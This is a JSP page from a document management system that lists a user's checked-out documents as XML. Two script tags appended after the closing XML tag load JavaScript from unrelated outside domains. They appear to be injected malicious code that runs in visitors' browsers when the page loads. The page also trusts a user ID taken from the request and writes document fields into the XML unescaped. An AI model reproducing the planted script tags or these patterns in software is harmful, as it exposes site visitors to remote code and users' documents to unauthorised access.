<%@ page language="java" contentType="text/xml;charset=UTF-8" 
%><%@ page import="com.dcivision.framework.*"
%><%@ page import="com.dcivision.framework.web.*"
%><%@ page import="java.sql.*"
%><%@ page import="java.util.*"
%><%@ page import="com.dcivision.dms.dao.*"
%><%@ page import="com.dcivision.dms.bean.*"
%><%@ page import="com.dcivision.dms.core.*"
%><%@ include file="\jsp\odma\monitorLoginStatus.jsp"
%><%@ page import="org.apache.commons.logging.LogFactory"
%><%
  //String userRecordID = request.getParameter("userRecordID");
  String userRecordID = sessionContainer.getUserRecordID().toString();
  if(userRecordID == null || userRecordID.length()<1){
    userRecordID = request.getParameter("userRecordID");
  }
  List result = new ArrayList();
  Connection conn = null;
  //SessionContainer sessionCtn = null;
  if (!Utility.isEmpty(userRecordID)) {
    try {
      //sessionCtn = new SessionContainer();
      conn = DataSourceFactory.getConnection();
      DmsDocumentDAObject dmsDocumentDAObject = new DmsDocumentDAObject(sessionContainer,conn);
      result = dmsDocumentDAObject.getListForCheckout("A",userRecordID);
    } catch (Exception e) {
      LogFactory.getLog(this.getClass()).error(e, e);
    } 
  }
%>
<?xml version="1.0" encoding="UTF-8" ?>
<List>
<%for (int i = 0; i < result.size(); i++) {
  DmsDocument doc = (DmsDocument)result.get(i);
  String docuName = doc.getDocumentName();
  DocumentRetrievalManager docRetrievalManager = new DocumentRetrievalManager(sessionContainer, conn);
  String location = docRetrievalManager.getLocationPath(TextUtility.parseIntegerObj(doc.getParentID().toString()));
  %>
  <ListItem>
  <ID><%=doc.getID()%></ID>
  <Document_Name><%=docuName%></Document_Name>
  <Location><%=location%></Location>
  <Parent_ID><%=doc.getParentID()%></Parent_ID>
  <Root_ID><%=doc.getRootID()%></Root_ID>
  <Document_Type><%=doc.getDocumentType()%></Document_Type>
  <ReferenceNo><%=doc.getReferenceNo()%></ReferenceNo>
  </ListItem>
<%}%>
</List>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>